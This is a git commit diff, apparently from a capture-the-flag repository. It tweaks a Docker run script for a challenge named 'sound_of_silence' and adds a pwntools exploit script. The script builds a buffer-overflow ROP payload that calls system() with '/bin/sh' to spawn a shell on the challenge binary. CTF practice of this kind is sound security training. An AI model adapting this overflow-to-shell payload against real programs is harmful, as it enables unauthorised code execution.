This commit is contained in:
2024-04-20 22:19:17 +02:00
parent dd249ad907
commit 6b23926e07
3 changed files with 15 additions and 3 deletions

View File

@@ -1,3 +1,3 @@
#!/bin/sh
docker build --tag=sound_of_silence .
docker run -it -p 1337:1337 --rm --name=sound_of_silence sound_of_silence
docker run -it -p 1337:1337 --rm --name=sound_of_silence sound_of_silence

View File

@@ -0,0 +1,13 @@
from pwn import remote, p64, pause, process
system_addr = 0x401050
set_rdi = 0x401169
#with remote("localhost", 1337) as p:
with process("challenge/sound_of_silence") as p:
p.recvuntil(b">> ")
pause()
payload = b"/bin/sh;"
payload += b"A" * (0x20 - len(payload)) + p64(0) + p64(set_rdi) + p64(system_addr)
p.sendline(payload)
p.interactive()